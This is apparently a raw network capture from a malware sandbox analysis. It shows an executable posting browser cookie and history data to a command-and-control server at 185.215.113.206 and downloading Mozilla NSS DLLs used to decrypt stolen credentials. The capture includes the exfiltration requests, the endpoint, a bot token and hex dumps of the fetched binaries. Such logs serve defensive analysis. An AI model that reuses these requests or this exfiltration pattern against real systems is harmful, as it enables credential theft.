00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49755	185.215.113.206	80	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:17.762314081 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGHIECGCBKFHIEBGHDBK--
Nov 12, 2024 02:13:19.190788984 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:19.350055933 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEG Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:13:19.350152016 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 Data Ascii: ------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 12, 2024 02:13:20.136581898 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:20.156172991 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file"------AFHDAEGHDGDBGDGDAAFI--
Nov 12, 2024 02:13:20.964519024 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:21.380959988 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Nov 12, 2024 02:13:22.159519911 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:22.376267910 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:22.662358046 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 02:13:22.662381887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 02:13:22.662395000 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 02:13:22.662410975 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 02:13:22.662424088 CET	848	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 12, 2024 02:13:22.662487984 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 12, 2024 02:13:22.662499905 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 12, 2024 02:13:22.662512064 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 12, 2024 02:13:22.662527084 CET	1236	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 12, 2024 02:13:22.662540913 CET	1236	IN	Data Raw: 89 55 e0 31 cf 8b 75 98 31 d6 89 f9 0f a4 f1 08 0f a4 fe 08 89 f2 8b 85 74 ff ff ff 8b 70 48 89 b5 38 ff ff ff 8b 7d b4 01 f7 8b 70 4c 89 b5 14 ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da Data Ascii: U1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tO
Nov 12, 2024 02:13:24.236696005 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:24.521683931 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 02:13:25.494918108 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:25.780116081 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 02:13:26.536190033 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:26.821793079 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 02:13:29.332927942 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:29.618181944 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 02:13:29.975440979 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 02:13:30.260361910 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 02:13:30.693918943 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:13:31.479451895 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
